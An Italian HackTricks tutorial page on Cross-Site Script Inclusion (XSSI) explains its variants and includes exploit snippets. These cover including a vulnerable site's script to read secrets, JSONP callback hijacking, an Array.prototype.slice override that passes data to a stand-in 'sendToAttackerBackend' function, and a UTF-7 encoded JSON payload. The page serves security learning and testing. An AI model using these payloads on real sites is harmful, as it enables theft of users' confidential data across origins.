XSSI (Cross-Site Script Inclusion)

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF controlla i PACCHETTI DI ABBONAMENTO!
Ottieni il merchandising ufficiale di PEASS & HackTricks
Scopri The PEASS Family, la nostra collezione di NFT esclusivi
Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.

Informazioni di base

Cross-Site Script Inclusion (XSSI) è una vulnerabilità che deriva dalla natura del tag script in HTML. A differenza della maggior parte delle risorse, che sono soggette alla Same-Origin Policy (SOP), gli script possono essere inclusi da domini diversi. Questo comportamento è pensato per facilitare l'uso di librerie e altre risorse ospitate su server diversi, ma introduce anche un potenziale rischio per la sicurezza.

Caratteristiche chiave di XSSI:

Bypass della SOP: Gli script sono esenti dalla Same-Origin Policy, consentendo loro di essere inclusi tra domini diversi.
Esposizione dei dati: Un attaccante può sfruttare questo comportamento per leggere i dati caricati tramite il tag script.
Impatto su JavaScript dinamico/JSONP: XSSI è particolarmente rilevante per JavaScript dinamico o JSON con Padding (JSONP). Queste tecnologie spesso utilizzano informazioni "ambient-authority" (come i cookie) per l'autenticazione. Quando viene effettuata una richiesta di script a un host diverso, queste credenziali (ad esempio i cookie) vengono automaticamente incluse nella richiesta.
Divulgazione del token di autenticazione: Se un attaccante può ingannare il browser di un utente affinché richieda uno script da un server da lui controllato, potrebbe essere in grado di accedere a informazioni sensibili contenute in queste richieste.

Tipi

JavaScript statico - Rappresenta la forma convenzionale di XSSI.
JavaScript statico con autenticazione - Questo tipo è distinto perché richiede l'autenticazione per accedere.
JavaScript dinamico - Coinvolge JavaScript che genera dinamicamente il contenuto.
Non-JavaScript - Si riferisce a vulnerabilità che non coinvolgono direttamente JavaScript.

Le seguenti informazioni sono un riassunto di https://www.scip.ch/en/?labs.20160414. Consultalo per ulteriori dettagli.

XSSI Regolare

In questo approccio, le informazioni private vengono incorporate in un file JavaScript accessibile globalmente. Gli attaccanti possono individuare questi file utilizzando metodi come la lettura dei file, la ricerca di parole chiave o le espressioni regolari. Una volta individuato, lo script contenente informazioni private può essere incluso in contenuti dannosi, consentendo l'accesso non autorizzato a dati sensibili. Di seguito viene mostrata un esempio di tecnica di sfruttamento:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

Dynamic-JavaScript-based-XSSI e Authenticated-JavaScript-XSSI

Questi tipi di attacchi XSSI coinvolgono l'aggiunta dinamica di informazioni confidenziali allo script in risposta alla richiesta dell'utente. La rilevazione può essere effettuata inviando richieste con e senza cookie e confrontando le risposte. Se le informazioni differiscono, potrebbe indicare la presenza di informazioni confidenziali. Questo processo può essere automatizzato utilizzando strumenti come l'estensione Burp DetectDynamicJS.

Se i dati confidenziali sono memorizzati in una variabile globale, possono essere sfruttati utilizzando metodi simili a quelli utilizzati in Regular XSSI. Tuttavia, se i dati confidenziali sono inclusi in una risposta JSONP, gli attaccanti possono dirottare la funzione di callback per recuperare le informazioni. Ciò può essere fatto manipolando gli oggetti globali o configurando una funzione da eseguire tramite la risposta JSONP, come mostrato di seguito:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>

<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Per le variabili che non risiedono nello spazio dei nomi globale, talvolta è possibile sfruttare la manipolazione del prototipo. Questa tecnica sfrutta il design di JavaScript, in cui l'interpretazione del codice comporta la navigazione nella catena dei prototipi per individuare la proprietà chiamata. Sovrascrivendo determinate funzioni, come slice di Array, gli attaccanti possono accedere e rivelare variabili non globali:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

Ulteriori dettagli sugli vettori di attacco possono essere trovati nel lavoro del ricercatore di sicurezza Sebastian Lekies, che mantiene una lista di vettori.

Non-Script-XSSI

La ricerca di Takeshi Terada introduce un'altra forma di XSSI, in cui i file Non-Script, come CSV, vengono divulgati cross-origin includendoli come sorgenti in un tag script. Le istanze storiche di XSSI, come l'attacco del 2006 di Jeremiah Grossman per leggere un intero rubrica di Google e la divulgazione di dati JSON del 2007 di Joe Walker, evidenziano la gravità di queste minacce. Inoltre, Gareth Heyes descrive una variante di attacco che coinvolge JSON codificato in UTF-7 per eludere il formato JSON ed eseguire script, efficace in determinati browser:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>